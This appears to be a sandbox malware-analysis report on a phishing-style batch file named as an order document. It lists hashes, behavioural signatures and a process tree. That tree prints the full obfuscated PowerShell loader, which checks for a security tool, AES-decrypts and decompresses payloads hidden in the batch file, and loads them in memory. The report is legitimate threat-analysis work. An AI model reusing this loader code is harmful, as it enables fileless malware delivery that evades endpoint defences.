Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09-10-2024 08:11

General

  • Target

    Order Nº TM24-10-08.bat

  • Size

    260KB

  • MD5

    555de6b8f4d49dbbcb011cf0f749a3a7

  • SHA1

    8382c757c865ae49f03ba06e2ca88d8076fcca28

  • SHA256

    bb22b9f36aa70d1503e56fe38c8a4e79ac3020ff8ce0c33c08e79173e56f2ee8

  • SHA512

    4915d206b39b81c291fd2b8e79a651cb15ebd386ffb16228dcb4ce94c48987fd2f5e258dd09026c881533aef186f90fbaa5199f9e524ac950ed04364c0465364

  • SSDEEP

    6144:nOEnu+m6LlyFuZli6Ed9/nOtbS2Z1QBHTI:nOX96LGuSJnOtbSjK

Score
3/10

Malware Config

Signatures

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\Order Nº TM24-10-08.bat';$DXzR='ReamnDpdLmnDpinmnDpesmnDp'.Replace('mnDp', ''),'EntbEvvrybEvvPbEvvoinbEvvtbEvv'.Replace('bEvv', ''),'FromvYVmmvYVBmvYVamvYVsmvYVe6mvYV4SmvYVtrmvYVingmvYV'.Replace('mvYV', ''),'SpeSWZliteSWZ'.Replace('eSWZ', ''),'DePsMkcoPsMkmpPsMkrPsMkesPsMksPsMk'.Replace('PsMk', ''),'ChrhhOarhhOnrhhOgrhhOeExrhhOtenrhhOsirhhOorhhOnrhhO'.Replace('rhhO', ''),'GetALBtCtALButALBrrtALBentALBtPtALBrotALBctALBestALBstALB'.Replace('tALB', ''),'InIMkLvoIMkLkeIMkL'.Replace('IMkL', ''),'LoIpdGaIpdGdIpdG'.Replace('IpdG', ''),'CopOzUZyToOzUZ'.Replace('OzUZ', ''),'EleThfYmenThfYtThfYAThfYtThfY'.Replace('ThfY', ''),'MaOxpNinMOxpNoOxpNdOxpNuOxpNleOxpN'.Replace('OxpN', ''),'CIQANreaIQANteDIQANeIQANcrIQANyIQANptoIQANrIQAN'.Replace('IQAN', ''),'TofCFraofCFnofCFsfoofCFrmofCFFiofCFnaofCFlofCFBofCFlocofCFkofCF'.Replace('ofCF', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($DXzR[6])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function bDdfx($DCabq){$PkWMx=[System.Security.Cryptography.Aes]::Create();$PkWMx.Mode=[System.Security.Cryptography.CipherMode]::CBC;$PkWMx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$PkWMx.Key=[System.Convert]::($DXzR[2])('2mOYEaPt8lWctq01VMMqhN34VnXfkC7nLbHLQY7/Qz8=');$PkWMx.IV=[System.Convert]::($DXzR[2])('dCF02IjSKAA6m1jMUv5SoQ==');$AcKBd=$PkWMx.($DXzR[12])();$MScdO=$AcKBd.($DXzR[13])($DCabq,0,$DCabq.Length);$AcKBd.Dispose();$PkWMx.Dispose();$MScdO;}function DOVto($DCabq){$BTfcL=New-Object System.IO.MemoryStream(,$DCabq);$KMREB=New-Object System.IO.MemoryStream;$ushEi=New-Object System.IO.Compression.GZipStream($BTfcL,[IO.Compression.CompressionMode]::($DXzR[4]));$ushEi.($DXzR[9])($KMREB);$ushEi.Dispose();$BTfcL.Dispose();$KMREB.Dispose();$KMREB.ToArray();}$McwgB=[System.IO.File]::($DXzR[0])([Console]::Title);$cTfVJ=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 5).Substring(2))));$nYDNp=DOVto (bDdfx ([Convert]::($DXzR[2])([System.Linq.Enumerable]::($DXzR[10])($McwgB, 6).Substring(2))));[System.Reflection.Assembly]::($DXzR[8])([byte[]]$nYDNp).($DXzR[1]).($DXzR[7])($null,$null);[System.Reflection.Assembly]::($DXzR[8])([byte[]]$cTfVJ).($DXzR[1]).($DXzR[7])($null,$null); "
      2⤵
        PID:2616
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2064

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2064-2-0x0000000073A61000-0x0000000073A62000-memory.dmp

      Filesize

      4KB

    • memory/2064-3-0x0000000073A60000-0x000000007400B000-memory.dmp

      Filesize

      5.7MB

    • memory/2064-4-0x0000000073A60000-0x000000007400B000-memory.dmp

      Filesize

      5.7MB

    • memory/2064-6-0x0000000073A60000-0x000000007400B000-memory.dmp

      Filesize

      5.7MB

    • memory/2064-5-0x0000000073A60000-0x000000007400B000-memory.dmp

      Filesize

      5.7MB

    • memory/2064-7-0x0000000073A60000-0x000000007400B000-memory.dmp

      Filesize

      5.7MB